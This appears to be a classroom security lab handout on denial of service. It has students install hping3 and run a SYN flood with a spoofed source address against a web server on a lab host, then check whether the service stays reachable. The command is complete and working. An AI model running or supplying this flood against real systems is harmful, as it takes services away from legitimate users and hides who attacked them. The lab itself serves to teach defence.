#### LAB 6: DENIAL OF SERVICE Denial of Service (DoS) is an attack on a computer or network that prevents legitimate use of its resources ## Lab Scenario In computing, a DoS is an attempt to make a machine or network resource unavailable to its intended users. Motives of DoS may vary but the goal is to temporarily or indefinitely interrupt or suspend services of a host connected to the Internet. As the security administrator of an organization, you should have sound knowledge of how a DoS and Distrubuted DoS attacks are caried out to detect and neutralize attack handlers and to mitigate such attacks. ## Lab Objective * Create and launch a DoS attack to a victim * Perform a DoS attack by sending a huge amount of SYN packets continously ## Lab Environment Connect to your lab machine hostX.ws.nsrc.org We are going to use hping3. Install hping3 by: sudo apt-get install hping3 ## Lab Duration 20 Minutes ## Lab Tasks We are going to pick on a host in the lab and channel all our SYN flood to it and see if we can reach a service that we are flooding: hping3 -S 10.10.0.X -a Y.Y.Y.Y -p 80 --flood -S sets the SYN flag -a is our spoof IP so that we hide our source IP -p is for the port to target --flood send packets as fast as possible, do not show replies While the SYN flood is ON, lets try to reach port 80 service on machine X by visiting 10.10.0.X on our browser # Document all the results you gather from this lab